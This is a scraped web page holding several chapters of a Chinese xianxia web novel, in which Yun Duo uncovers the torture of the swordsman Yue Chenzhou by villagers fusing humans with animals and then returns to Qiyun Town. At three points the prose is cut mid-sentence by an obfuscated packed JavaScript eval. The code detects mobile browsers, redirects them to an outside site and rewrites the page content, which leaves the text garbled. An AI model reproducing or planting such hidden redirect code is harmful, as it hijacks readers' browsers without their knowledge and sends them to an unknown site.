云朵实在是不想跟它纠缠,耽误时间,鬼知道许知然什么时候会突然冒出来。盈盈剑在她的控制下飞向大蛇,只是一眨眼的工夫,屋里闪起几道剑光,那条蟒蛇已经被切成了十几段。 这么弱?云朵甚至有些不敢相信它就这么死了。 随着蛇的尸体一段一段地掉落在地上,原本被它的身体遮挡着的物品也暴露在云朵面前。 一把通体漆黑、剑刃银白的重剑。 岳沉舟的佩剑,无锋。 身后传来长生颤抖的声音:“师父,这是……” 云朵看着这柄熟悉的剑,一时之间不知道应该摆出什么表情。 意外吗?其实并没有,在得知岳沉舟已经失踪一个多月时,她就大概猜到他的结局了。 她上前几步,伸手触到了无锋的剑柄,一片冰冷。 你为什么会在这里呢?你的主人在生命的最后,又经历了什么呢? 腰间挂着的储物袋突然开始剧烈地抖动,云朵刚将系带解开,解忧就迫不及待地跳了出来。 “解忧?你是感应到什么了吗?” 解忧放出蛛丝,蛛丝的一头粘在无锋剑的剑柄上。云朵看着那根细若游丝,被照明符的火光下映成橙色的细丝,迟疑地将手指搭在了上面,闭上了双眼。 一股强大的吸力将她的意识拉进了黑暗,再睁眼时,她依然身处这间仓库中,只是眼前多了很多人。那些人背对着她,不知道围着什么正在忙活,从她的角度看不到。 “啊啊啊啊啊——!!!” 一阵惨叫声刺入她的耳朵,让她感觉身体里的血在一瞬间结成了冰。 ——不会错的,这是岳沉舟的声音! 云朵想要冲过去拨开人群,却发现自己动不了。 她朝着那群人的背影大喊:“住手!都给我住手!”声音在屋中回荡,屋中的人却仿佛听不见,依然在一丝不苟地进行着手中的工作,回应她的只有岳沉舟不时发出的怒吼和惨叫。 一股无力感席卷了她的全身。为什么会发生这种事?这是岳沉舟残留下来的记忆吗?这些人对他做了什么? 不知过了多久,屋中逐渐回归了寂静,那群人逐渐散开,三三两两地离去,他们的交谈声却闯入云朵的耳中: “唉,又失败了!” “没想到身体这么硬朗的人,都承受不住。” “下一步怎么办?好不容易看到点希望,这下子又回到原点了!” “不知道啊,继续找新的容器吧……” 走在最后的四个人从地上抬起一副担架,上面躺着一个用白布盖着的人。 云朵终究忍不住,冲他们喊道:“你们要带他去哪里!你们还要做什么!?” 无人回应。 门被关上了。 云朵看着空空的屋子,心里乱成一团。可还没等她理清思绪,眼前的场景开始扭曲,消散,最后又变成了另一个画面。 天昏地暗,火光冲天,耳边充满了利器破空声和惨叫声。 云朵感觉视线很晃,她像是在奔跑,却并不知道目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这一次,当云朵睁开眼时,眼前站着的是一个小号岳沉舟。面容稚嫩,估摸着六七岁的样子,但眉眼间已经能依稀看到日后的坚定。 “你就是师尊新收进来的小师弟?”一道声音在云朵背后响起,云朵思索了一下,这应当是少年时的陆夜白,音色相比成年后更加清亮。 “是,沉舟见过大师兄。” “看来师尊已经跟你说起过我了?”陆夜白声音里含着笑意,云朵感觉她被往前推了推,耳边又响起陆夜白有些犹豫的声音,“这就是你的佩剑了,虽然师尊说,咱们的入门测试显示你适合用重剑,但……我看你还没这柄剑高,真的没问题吗……” “没问题!”小小的岳沉舟脆生生答道,“我的目标是成为最厉害的修士,能够守护天下所有人!只要有我在,每个人都不用害怕黑夜,每个人都能过自己想要的生活!” 陆夜白大概是被他这小大人的口气逗乐了,“噗”地笑出声:“好,好!那我祝你能早日实现你的目标!不过,你目前要做的,就是先能举起你自己的佩剑。” “我、我试试……好、好重!要砸下来了!” “哈哈哈……咳,没事,你还小,假以时日,你肯定能把它使得得心应手的!师兄相信你!” “……谢谢师兄!我会努力的!” 真好呀,当时的他们还不知道未来会面对怎样的绝境,还要在天真中努力挤出一丝大人的模样。 眼睛亮亮地诉说着修仙初心的岳沉舟,可曾想过自己得到的会是这样的结局吗? 耳边的声音逐渐远去,眼前又陷入了一片黑暗。 在意识被拉回前的一瞬间,云朵在心中默念。 你遵循着初心,战斗到了最后一刻,你做到了,岳沉舟。 54. 剑骨铸英魂(6) 意识还未完全清醒过来,耳中却已经灌入了纷乱嘈杂的声音。 云朵霍然睁开眼,首先看见的是插在地上的无锋重剑,一根近乎透明的细丝一端粘在漆黑的剑柄上,另一端连着她手中的解忧。 门外的杂音愈来愈大,像是在发生着什么混战。 云朵收起解忧,提着剑推开门。 “师父!你终于出来了!我快要被这群畜生挠死了!”长生正与一群动物战作一团,说话间,他一剑砍倒一只扑上来的赤狐,那赤狐惨叫一声掉到地上,抽搐了两下,不动了。 云朵没想到推开门看到的会是这样的景象,一边提剑加入战局,一边问长生:“这是怎么回事?这群动物怎么突然跟你打起来了?” 长生手上动作不停,苦着一张脸道:“我不知道啊!你进去之后没多久,它们突然像疯了一样冲过来,看那个架势是要冲进仓库里。我哪儿能让它们进去啊!所以就在这里挡着。” 云朵看着地上横七竖八的动物们,问道:“我进去了多久?” “大概一炷香的工夫?”长生抹了把脸,牵动了胳膊上的伤口,疼得他龇牙咧嘴地“嘶”了一声。 云朵斜眼瞄了他一眼:“你受伤了?” 长生扁扁嘴,一脸委屈:“我一开始就想把它们击退,都没有拔剑。谁知道它们下死手啊!给我胳膊和手背上挠了好多血道子!气死我了!” 云朵没说话,手上动作却越来越快,一连串剑光以二人为中心激射而出,将夜色照亮,如同白昼。剑光散去,原本疯狂进攻的动物只剩下了几只还能喘气的。 云朵甩掉剑上的雪花,归剑入鞘,招呼长生:“走,我们带上岳沉舟的剑,去找许知然。” 长生跟着她一起走进仓库,虽然之前已经做好心理准备了,但在看到无锋剑孤零零地矗立在空旷的仓库中,依然忍不住红了眼眶。 云朵没有给他太多伤春悲秋的时间,她将无锋剑背在背上,然后蹲下身,向一直安静地守着无锋剑的小鼠伸出手,问道:“我们要去找这一切的罪魁祸首算账,你要一起吗?” 小鼠仰着头,用黑漆漆的眼睛看了她片刻,跳进了她的掌心。 夜色如墨,云朵手捧着小鼠,带着长生,走在通向许知然住处的小路上。背上的无锋剑沉甸甸的,压得云朵的心里也沉沉的。 许知然的住处亮着灯,透过窗户,能隐约看到屋中人的侧影。 许知然大概一直在等他们,没等云朵伸手敲门,屋门就自动打开了。许知然背对着烛火,脸上的表情看不出什么异常,一张嘴却是满满的阴阳怪气。 “云姑娘和长生小公子半夜不歇息,把我们村子里闹得鸡飞狗跳,真是有活力。” 云朵懒得跟他废话,直接把背后的无锋剑取下来,横在许知然眼前,冷冷道:“你不打算解释一下吗?” 许知然微笑道:“原来云姑娘在找的人就是他呀?” 云朵咬着牙,眼睛喷火:“不错,他叫岳沉舟,是除雾队最初的队员之一,他的重锋剑不知保护过多少人!而你,却趁着他在同黑雾的作战中深受重伤,将他折磨至死!” 长生的脸色随着云朵口中吐出的字句,变得越来越苍白,他声音抖得像筛糠:“师父,你说的这些都是真的吗?你是怎么知道的?” 云朵平复了一下心绪,垂眼道:“我靠着解忧的能力,看到了重锋剑的记忆。” “原来如此!是我小看了云姑娘的能耐!”许知然抚掌大笑,双眼却如同两谭冰封的湖水,笑意丝毫不达眼底,“既然如此,想必我也没有说谎的必要。正好我一个人闷得慌,这些事便告诉你,全当解闷儿了。” 云朵毫不留情地打断他:“在那之前,你先说说,你把自己的儿子弄到什么地方去了?” 许知然愣住了,随后盯着云朵,脸上露出不解的表情。他指着云朵手里的小鼠,说道:“不就在你手里吗?” “!?”云朵满脸惊骇地低头看向手中,小鼠也恰好仰起头,冲她缓缓点了两下头。 云朵觉得脑子中有什么爆炸了,她倏地抬剑,无锋剑的剑尖抵在许知然脖颈处。 “你这个……畜生!你知道自己在做什么吗?!虎毒尚且不食子,他可是你的亲儿子!”云朵双眼通红,冲许知然吼道。 许知然却毫不动容,甚至有点不屑:“原来你们不知道啊?这有什么的?安之也做过很多次啊。” “什么……”云朵瞪大眼,气得说不出话来。 长生直直地看着云朵手中的小鼠——或者说,许安之,双眼已然失去了神采,木木地开口问:“那……这里其他的动物……” 许知然接话:“都是我们的村民。” 长生再也忍不住了,他丢下还在对峙的两人,冲到屋子角落,弯下腰呕吐起来。 先前那些与他对峙的、被他杀死的动物们,原本都是人……他杀了人……好多好多人…… 云朵此时也分不出精力去安慰长生,她的脸色黑得像碳,剑尖被她又往前送了送,刺破了许知然脖颈上的皮肤,一条血线蜿蜒而下,浸湿了许知然的衣领。 “你们这群畜生!不,你们连畜生都不如!你们究竟杀了多少人!!” 许知然一脸无辜:“我们可没有杀人!正相反,我们帮他们找到了与黑雾共生共存的方法。” 云朵简直要被他的话气笑了:“与黑雾共生共存的方法,就是把他们变成动物?” 许知然:“是啊,我们可是研究了很久,经过了几代人的努力,才最终找到这个方法的。我们成功后,村里的人都争先恐后地来找我们,送上他们压箱底的宝贝,求我们把他们融合进动物里。” “好、好……好得很!”云朵咬牙切齿,如果目光能杀人,那许知然一定已经被她千刀万剐了,“你们一个村子的疯子!你们爱干什么疯狂的事,我管不着!那岳沉舟呢?岳沉舟又是怎么回事?!” 许知然波澜不惊的脸上总算露出了一分能算作遗憾的神情:“他呀,他是我在树林里捡到的,当时他伤得很重,已经陷入昏迷了。我把他带回村里医治,原本也没动什么别的心思,毕竟他不是我们村里人,但当我检查他的伤口时,发现伤口里面竟有些残留的黑雾!” “要知道,黑雾这种东西,一般人但凡沾上一点,轻则残废,重则殒命。而他被黑雾重伤至此,竟能活下来!如果我能研究明白他的身体抵抗黑雾侵蚀的原因,我们岂不是可以不用再变成 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长生已经吐不出什么东西了,只一手撑着墙,面色惨白,冷汗顺着脸颊滴滴答答,如雨落下。云朵走到他身边,伸手拍了拍他的后背,关切道:“还好吧?” 长生点点头。 云朵从储物袋里掏出两颗清心丹,塞到他嘴里,又给他输送了不少灵力,总算见他脸色红润了起来。 “师父……我杀人了……”长生的声音里带着哭腔。 是啊,他还是个半大的孩子,还在梦想着成为大侠,惩奸除恶。他还没有意识到,每一个大侠的刀剑下,都躺着无数尸骸。 云朵伸出手,揉了揉他的头,回道:“我也杀了人,杀得比你还多,在你眼里,我是个坏人吗?” 长生疯狂摇头:“怎么会?师父杀的全都是坏人!” “没错,所以你也不用太内疚,匡扶正义的路上本就充满了鲜血和白骨。我们没有滥杀无辜,就没有背离走上这条路的初心。” 长生低着头,沉默良久,才低声回应:“我明白了,师父。” “走吧,我们先离开这里。” 回到住处拿行李时,云朵突然有了种恍如隔世的感觉,仅仅一个晚上的时间,这个世外桃源般的地方在她眼中已经变成了无间地狱。她默默收拾好东西,牵起绯云,领着长生往树林中走。树林中湿润的草木香稀释了空气中的血腥味,她们二人一路踩着断枝和枯叶,就如同她们来时那样。 黑暗中,一双双眼睛在暗中注视着她们,云朵感应到了,却并不想理会。或许正如许知然说的那样,这里除了岳沉舟,没有真正的受害者。每个与动物融合的人,也都曾直接或间接地将其他人改造成这样的怪物。一群疯子聚集在这里,做着一些自以为对的事,执迷不悟地认为自己是救世主。即便有正常人,在这样的环境呆久了,恐怕也就变成疯子了。 反正这里的烂摊子她也懒得管,就让这群怪物自相残杀、自生自灭去吧! 云朵和长生在动物们的注视下,头也不回地走出了这片诡异的森林,从这里世代维护的美梦脱离出去,回到了清醒的世界中。 55. 云中守岁宁(1) 黑暗中,云朵之间燃起一张符咒,幽蓝的火光熄灭后,半空中浮现出林星遥的身影。 “云姑娘?”林星遥的声音在通讯符的传导下有些失真,“这种时候突然联系我,是有岳公子的消息了吗?” 云朵怀着沉重的心情,将发生在岳沉舟身上的事情一五一十地讲给林星遥听。期间,林星遥一直保持着沉默,面上不显任何表情,但紧紧攥着袖口的双手泄露了他内心的愤怒与痛苦。 “大概就是这样,我只带回来了岳公子的佩剑……”云朵也说不下去了,她在得知岳沉舟的遭遇后,尚且愤怒至此,与他共事过二百余年的林星遥他们,内心的痛苦恐怕要比她多上几倍不止。 “对不起……我去得太迟了……如果我能早到几天,说不定……”每当云朵回想起无锋剑记忆中,岳沉舟的惨叫声,都会被自责淹没。但是这世上没有什么如果,她的悔恨毫无用处,她的道歉也苍白无力。 泪眼模糊中,她感觉到袖子被轻轻扯了两下。她扭头看去,见长生垂着头,视线死死地盯着地面,没有在看她,但手指却捏着她的衣袖,没有松开。 说起来,她平时虽然总跟长生打打闹闹的,但这还是第一次在这小孩面前掉眼泪呢。 长生自己的情绪都不一定消化完了,还得反过来安慰她。 好丢人啊。 对面的林星遥沉默良久,才重新开口。 “你不必道歉的,云姑娘,岳公子他若泉下有知,也定会感谢你为他做的一切。” 云朵点点头,又摇了摇头:“我还是希望他不要记得这么痛苦的事了。” 林星遥也赞同:“确实,逝者已矣,我们这些活着的人,还要继续走下去。” “你们俩人,大半夜的不睡觉,在这讲什么大道理呢?!”冷不丁的,一个满是怨气的声音插进来,打破了他们之间沉重的气氛。 林星遥脸色骤变,随即脸上又露出了招牌式微笑,道:“抱歉,阮姑娘,我不是……” “你不是什么?!我临走前是怎么跟你说的?我是不是说让你保证休息?把我的话当耳旁风是吧?!” 阮织梦这连珠炮一样的问题,打得林星遥也有点招架不住,他脸上的笑容肉眼可见地出现了裂痕。 “没有,我与云姑娘确实有要事。” 阮织梦“哼”了一声,云朵眼前的画面里出现了她的身影,只见她面色不虞地往林星遥身边一站,扬起下巴道:“让我听听,到底是什么要事,让你们两个大半夜的不睡觉,在这里商量。” 云朵眨了眨眼,小心翼翼地:“阮姑娘?你们这是……?” 这大半夜的,阮织梦怎么会突然出现在林星遥屋里……她不会是发现了什么秘密吧? 许是她的八卦之心表露得太明显,阮织梦一挑眉毛,出声斥道:“停!别给我在那胡思乱想!我可不是你们,我的睡眠时间可是很宝贵的!要不是咱们林公子重伤在身,我才懒得管呢!” 云朵惊了:“重伤?!这是怎么回事?” 阮织梦也有些奇怪:“他没跟你说啊?” 当然是没有,基本都是云朵在说。她被先前的事冲击得太狠,正是情绪上头的时候,也完全没有关注林星遥的状态。现在想来,他说话的声音确实相比之前,有些低哑,面色也透着一股病态的白。 “你还记得我跟你说过,栖云镇里总有一帮人,整天围着神木,不知道在捅咕些什么吧?” 云朵点头,她记得阮织梦说过,那些人不知做了什么,有时神木上会出现一些奇怪的斑点。 阮织梦叹了一口气,继续道:“现在我们弄明白了,他们见神木能够抵御黑雾,就想到了一个歪得不能再歪的点子——如果把人的灵魂融入到神木中,那岂不是大家都不用再害怕黑雾了。” “什么?!”阮织梦的话让云朵立马想起了许知然他们的所作所为,同样都是将人类的灵魂融入别的生物,以逃避黑雾的侵蚀,达到共生共存。只不过许知然他们选择了动物,栖云镇的这帮人显然更疯狂,竟然把主意打到了神木的头上!果然是疯子所见略同! “他们就用神木做各种实验,什么乱七八糟的灵魂都往神木里招呼。现在好了,神木受到了影响,神力不够了,黑雾再次从天上的口子泄露出来。林星遥先是组织住在神木附近的人疏散,又留下来用阵法抵挡黑雾,结果一个不小心,被黑雾弄成了重伤,已经在床上躺了快一星期了。” “竟然会发生这种事……”云朵喃喃自语,在她不在的时候,栖云镇竟然发生了这么多事。她本以为有神木在,栖云镇是绝对安全的,谁想到坚固的防御竟是被摧毁在自己人手里! “好了,我们这边的情况说完了,现在说说你那边的吧。”阮织梦抱着手臂,淡淡道,“能让你大半夜联络林星遥的,一定不是什么小事。” 云朵看了一眼林星遥,用眼神询问他的意见,见林星遥缓缓点头,才将之前的事情又复述了一遍。 云朵本以为,以阮织梦的火爆脾气,听完之后一定会暴跳如雷,她甚至已经做好了被指责“为什么不把那群畜生也一起杀了!”的心理准备。出乎她意料的是,阮织梦除了黑下一张脸,并没有什么太过激烈的表示。 “原来是这样,他们竟然还活着!” 云朵不解地问道:“他们?你认识许知然?” “我不认识他,但他们的祖先确实曾在栖云镇生活过。那时候他们家族才是医馆的负责人,他们心细如发,又好钻研,镇里的人都很尊敬他们,甚至我的医术有一部分也是跟他们学的。”阮织梦像是陷入了回忆里,表情变得非常复杂,有怀念,有难过,还有些……愤愤不平? “有一天,我正好在医馆帮忙,结果来了个病人,浑身剧痛难耐,被同伴送过来后,一直在惨叫。我探了他的脉,脉象凌乱不堪,经脉像是被一团一团的淤泥堵住了。我尝试用灵力导出那些堵塞物,结果你猜是什么?” 云朵立马答道:“黑雾。” “没错!这可不是件小事,我立马就通知了林星遥和陆夜白他们。经过盘问和调查,那病人近期的行踪没有任何可疑之处,就是来医馆来得勤了点。我当时就随口问他来医馆看什么病,结果他说是某天送家人来医馆时,许家先祖对他说可以免费帮他调理身体,只不过需要他保密,不能告诉任何人。” “这一下子,许家人的行为就败露了。他们通过这种方法,在秘密进行人体实验,研究怎么提高人体对黑雾的耐受性。”阮织梦像是想起了什么不好的事,用手捏了捏鼻梁,“那之后,我和杨疏意几天没合眼,给镇子里所有人都号了一遍脉,发现竟然已经有大半的人都遭过他们的毒手了!林星遥气得不行,把许家人全都赶出了镇子,让他们去外面自生自灭。” 林星遥听着阮织梦的讲述,思绪也被拉回到当时的场景,不由感叹道:“我本以为,外面危机四伏,许家人又不善武艺,这种惩罚约等于死刑,没想到他们竟然真的活了下来,还一直延续到现在。”他说着说着,低下了头,一贯笑着的脸上浮上一丝懊悔,“如果我当时直接将他们处决,也许岳公子就不会……” “停停停停停——! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062215|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”阮织梦大声打断了林星遥的假设,愤愤道,“你还真当自己是神仙了?你能预判到二百年以后的事?岳沉舟的遭遇,纯粹是那帮疯子已经疯到连人都不想做了!他们罪该万死死有应得,你能不能不要用别人的错来折磨自己了?” 云朵看着阮织梦张牙舞爪的样子,隔着传送符都能感受到她的怒气,她丝毫不怀疑,如果不是林星遥有伤在身,阮织梦的拳头早就落在他身上了。 “阮姑娘,谢谢你告诉我这些,时间不早了,你们快去休息吧!” “行吧,看来你们已经聊够了,那就赶紧该养伤的去养伤,该赶路的去赶路吧,我反正要回去睡觉了。”说完,阮织梦打着哈欠,离开了通讯符的范围。 林星遥重新回到了画面中央,脸上带着歉意的笑:“阮姑娘还是一如既往的有活力,有时候看着她,我就感觉自己已经是个老人了。” 云朵笑道:“那林公子应当多去照照镜子,然后就会发现,你还是二百年如一日的年轻。” 林星遥无奈道:“好了,就不说闲话了,你下一步有什么打算?这些日子在外面游历,有什么收获吗?” 云朵想了想,回道:“好像有收获,但是我又理不清头绪。” 林星遥道:“没关系,时间还有很多,你可以慢慢想。” 云朵摇头:“现在神木受损,黑雾卷土重来,可没有这么多时间给我挥霍了。我打算启程回栖云镇,看看能帮上什么忙。” 林星遥:“好,我尊重你的想法,等你回来,我再给你办一场欢迎会。” 云朵赶紧摆手求饶:“别别别!到时候颂祷派的人看见我,又要天天来盯梢了。我就悄悄地回去,你可千万别走漏了风声呀!” 林星遥笑道:“没问题,那么再会。” 云朵:“再会。” 画面消失了,云朵发了会儿呆,直到长生的声音拉回她的思绪。 “师父,我们要回去了吗?” 云朵:“是啊,你刚刚也听到了吧?现在栖云镇也出了状况,我们要回去帮忙。” 长生点点头:“那我们暂时休息一下,天亮就出发?” 说是休息,但其实经过这一宿的折腾,离天亮也就不到两个时辰了,他们坐在树上闭了会儿眼,就感受到了阳光洒在身上的温度。 启程前,云朵突然对着正在收拾包袱的长生喊:“长生,接着!” 长生被她突然发难吓了一跳,赶紧转过身手忙脚乱地借住云朵拋过来的东西,定睛一看,是一柄纹饰古朴、通体青绿的剑。 长生用手掂了掂,有些重。伸手拔剑,剑身出鞘三寸,已经感觉到清冽的剑气扑面而来。 ——是把上等宝剑。 长生从来没有摸过这么好的剑,有些忐忑地看向云朵:“师父,这是……?” 云朵看他把剑抱在怀里,一脸呆相,没忍住笑出了声:“怎么傻在那里?这剑名叫‘惊鸿’,曾经是我大师兄的佩剑,现在……它归你了。” “这……这合适吗?我、我的意思是,把这么好的剑给我,会不会有点浪费?” 长生虽然很少见云朵提起以前的事,但也知道她曾有三位师兄,他们三人对她来说都是非常重要的家人。而他们都陨落在天破期间,在她的心里留下了无法愈合的伤口。如今,她竟然主动提出要将大师兄的佩剑送给他,这让长生有些惶恐。 “你现在用确实有些费力,还得继续修炼啊!”说到这儿,云朵又难得端起了师父的架子,“要是怕自己配不上这把剑,那你就努力让自己配得上它!” 56. 云中守岁宁(2) 马蹄不停地落在地面上,激起一阵阵的黄烟。坐在马背上的两个人沉默不语,面色凝重,两边的景色从他们眼前飞掠而过,向后退去。 云朵和长生已经不吃不喝地赶了一整天的路,听着绯云越来越粗重的喘息声,云朵勒紧缰绳,让绯云停在了一条小溪旁。 她翻身下马,下意识地朝长生伸出手,哪知这小子已经一撑马背,熟练地跳下了马。双脚落地后,他还一脸骄傲地冲云朵笑道:“师父,我不用你扶啦!我可以自己来!” “好好好,我们长生长大了,已经可以自己下马了。” 在长生“你那是在表扬我吗!?”的抗议声中,云朵收回手,拍了拍绯云的脖子,道:“今天就在这里歇息吧,再跑下去,绯云就要受不了了。” 长生的抗议被无视了,撅起嘴默默扎营去了。 晚饭自然还是长生烤鱼,经过这些日子的锻炼,长生不光武艺见长,厨艺也见长。即便云朵已经辟谷多日,闻到烤鱼的香味,还是会觉得肚子里的馋虫在向她发出抗议。 也许是她盯着烤鱼的目光太明显了,长生咽下了嘴里的鱼肉,伸手取下仍然加在火堆上的鱼,递给云朵:“师父,你也吃点吧。” 云朵咽了一口口水,摆手推拒道:“不了,你还在长身体呢,赶紧多吃点。” “没事的,师父,这河里鱼多,我要是没吃饱,就再去捕几条。”长生一边说,一边把手里的鱼又往云朵那边递了递,“我最近又改良了一下烤鱼的调料,比之前的做法更好吃哦,你真的不尝尝吗?” 长生的话都说到这份上了,云朵觉得自己再拒绝就有点不礼貌了,于是默默接过烤鱼,咬了一口。 好吃! 等回去之后,一定要跟林公子建议,给这小子点启动资金,让他去开个小吃摊什么的,保证大赚特赚! 晚饭过后,云朵清理了一下食物残渣,又去溪边洗了把脸,回来就见长生坐在篝火旁,一手捧着件衣服,另一只手捏着针,正在缝什么。 云朵好奇地凑过去,问道:“你在缝什么呢?” 长生头也不抬,一边继续手上的工作,一边回答道:“可能是昨天从树林出来时,被树枝划到了,给我衣服划了个口子。” 云朵看见衣服上整齐的针脚,啧啧称赞道:“你可以呀!没想到你竟是这么贤惠的徒儿,居然连针线活都会!” 长生道:“我从小都是自己一个人生活,其他人最多看我可怜,给我口饭吃,饿不死就行,其他的事情可不都得我自己来。” 其实长生就是随口一说,没带多少情绪,但听在云朵耳中就变了种滋味。 云朵拍了拍长生的背,道:“别补了,咱们都快回去了,到时候让林公子给你找两身新的。” 长生仿佛听到了什么不可思议的事情般睁大了眼,脸上也露出诧异的表情:“师父,这只是破了个口子而已,其他地方都好好的,直接扔了多浪费呀!我把这个口子缝上,让它别往里灌风了,还能再穿很久。” “……好吧。”云朵摸了摸鼻子,悻悻地坐到篝火的另一边,盯着远处的神木发呆。 在篝火的噼啪声中,云朵想起了她还在浮云宗时的事。 浮云宗虽小,但在吃穿用度上从来没缺过她,她又是内门弟子,可以说是要什么有什么。跟长生这可怜孩子一比,她简直可以说是在蜜罐里长大的。 如果长生早生了二百年,是不是就不会经历这些?没有黑雾,他和家人说不定还能幸福地生活在一起,拥有一个平淡却又圆满的童年。 即使他仍旧是个孤儿,也许会在某个平凡的日子里,被外出游历的师兄们捡回宗门,变成她的小师弟。按照浮云宗的习惯,像他们这种不知道自己原本姓氏的孩子,都应该姓云,那长生就要改叫云长生了。 想到这儿,云朵禁不住笑出了声。 长生奇怪地瞥了她一眼,问道:“师父,你在那想什么呢?怪吓人的。” 云朵道:“我就是在想,你要是加入了浮云宗,你就得叫云长生了。” 长生愣了一下,随后脸上浮现出些许惊喜:“云长生?我可以叫这个名字吗?” 云朵也愣了,她原本只是随口一说,没有当真,却没想到长生会是这种反应,便试探性问道:“你……愿意被这么叫?” 长生把头点得像小鸡啄米:“愿意愿意!这样我就跟师父一个姓了呀!” 看着长生开心的样子,云朵把后面的话咽回了肚子里。 虽然浮云宗已经不在了,但看在孩子这么开心的份上,云长生就云长生吧。 ----------------- “师父,你觉不觉得神木有些奇怪?怎么看着树冠顶上颜色发黑?”第二天上路不久,长生便指着前方的神木,扭头问云朵。 觉得,当然觉得了。从天破处泄漏的黑雾已经将树冠顶端染上了一层淡淡的黑色,远远看去,像神木顶端发霉了一样。 看来,栖云镇的状况比她以为的要遭,阮织梦和林星遥大概是怕她过于担忧,只是轻描淡写地同她提起。 这么想着,云朵默默加快了绯云的速度。 “走吧,我们尽早赶回去。” …… “师父,我今天又捕到不少鱼,你要不要吃点?”长生像前一天晚上那样,坐在篝火旁,将烤好的鱼递给她。 回应他的是一片沉默。 云朵一整天的状态都很不对劲,一直沉浸在自己的思绪里,除了赶路时偶尔控制一下绯云前进的方向,剩下的时间简直安静得像一座雕像。 长生很担心。 “师父?师父?”长生把鱼架回到篝火上,伸手在她眼前摇晃,“师父,回神啊!你到底怎么了?” 眼前乱晃的手终于打断了云朵的沉思,她回过神来,问长生:“怎么了?” 长生收回手,满脸写着担心:“还问我怎么了,你今天都像丢了魂儿一样,问你问题都不回应的……” 云朵露出一个抱略带歉意的笑容:“抱歉,我在想事情。” 长生追问道:“你在想什么?跟我说说呗?说不能我能帮你出出主意!” 云朵犹豫了一下,决定老实交代:“其实,我离开栖云镇,一方面是当时被颂祷派的人烦得不行,想远远逃开;另一方面,也是想在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062216|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外出游历的过程中,寻找能够从黑雾中拯救世人的方法。” 长生:“嗯……但是我们,好像也没找到什么方法?” 云朵:“是啊。不过,我现在回忆起来,自从出来之后,我们其实已经见到过几种不同的方法了。” “变卖家产,组建守土队的沈少爷;由陆夜白师兄弟三人组建,四处奔波的驱雾队;向神明求索、祈求庇佑的颂祷派;还有研究将人与其他生物进行融合,实现与黑雾共存的共存派。” “虽然有些人的做法我实在是不敢苟同……但他们确实都在用自己的方式尝试救世。” 长生:“可是,他们到目前为止都没有成功。” 云朵沉默了。 长生用手指抠着衣摆上的线头,自言自语道:“我们真的能战胜黑雾吗……” 云朵的目光却被长生摆弄着的衣角吸引了,针脚细密而整齐,她都能想象出细小的银针是如何带着丝线在布料间来回穿梭,将破洞两边的布料牢牢缝合在一起。 她像是想到了什么,眼中迸发出了明亮的光彩。心中的阴霾被一扫而空,她把长生的肩膀拍得啪啪作响,开心道:“好徒儿,你给了我灵感,你可真是我的小福星!” 长生被她拍懵了,呆呆地问:“师父,你在说什么啊?我干了什么?给了你什么灵感啊?” “缝衣服啊!” 长生更糊涂了:“缝衣服怎么了?” “哎呀,笨!”云朵有些恨铁不成钢地看着长生的傻样,“衣服上破了个洞,用针线缝上,就能接着穿了。那天上破了个洞,也用什么东西缝上不就好了吗?” 长生挠了挠头:“师父,你说得容易,哪有这么简单?有什么东西能把天给缝上啊?” 云朵蔫了:“这个,我也没想好呢……” 把天缝起来,需要庞大的灵力,作为“线”的原料也必须足够坚韧,最好能够扛住时间的磨损。否则,可能就会像之前的法阵和神木那样,只能抵挡一段时间,几十、几百年之后的人们依旧会面临和她们同样的难题。 的确是一个伤脑筋的问题。 “算了,船到桥头直然直,实在不行,等我们回去之后找林公子他们商量一下。他们再怎么说也比我们多活了二百多年,知道的东西肯定比我们多,没准他们有办法呢。” ----------------- 在第四天的清晨,他们终于看到了栖云镇的入口。 林星遥和阮织梦并没有将他们回镇的消息散布出去,镇口空空的,没有人。 云朵和长生从马上下来,牵着绯云,抄小路来到了聚散堂的后门。 她们在后殿中找了两个椅子坐下,前厅中传来林星遥和其他人的议事声。看来林星遥还是没有乖乖遵医嘱,伤还没好利索,就又开始忙碌起来了。 看这个架势,林星遥这一忙,估计就得中午见了。 见离中午还有很长时间,云朵从椅子上站起来,嘱咐长生:“你在这里等着林公子,我出去转转,他那边结束之后你就用通讯符联系我。” 长生乖巧地点了点头,目送着云朵的身影消失在门外。 57. 云中守岁宁(3) 走在熟悉又陌生的路上,云朵的记忆被拉回了二百年前。 还记得她第一天来到浮云宗,第一次见到二师兄和三师兄,三个人默默地互相打量着,每个人的眼中都藏着好奇。 “大师兄,这是你新捡回来的小孩吗?”身穿红衣的少年打破了沉默。 云怀清笑道:“这两位也是你的师兄,白色衣服的是夏深,字南烛,是你二师兄。另一位是季澜,字来之,你的三师兄。南烛,来之,这位是云朵,以后就是咱们的小师妹了。” 云朵弱弱地问好:“二师兄好,三师兄好……” “你好。” “师妹好!以后有什么不懂的都可以来问我哦!无聊了也可以来找我,师兄带你玩!”季来之自顾自地说了一大串,话音刚落,就被夏南烛伸手掐了一把,好险没叫出声。 “好、好的……” 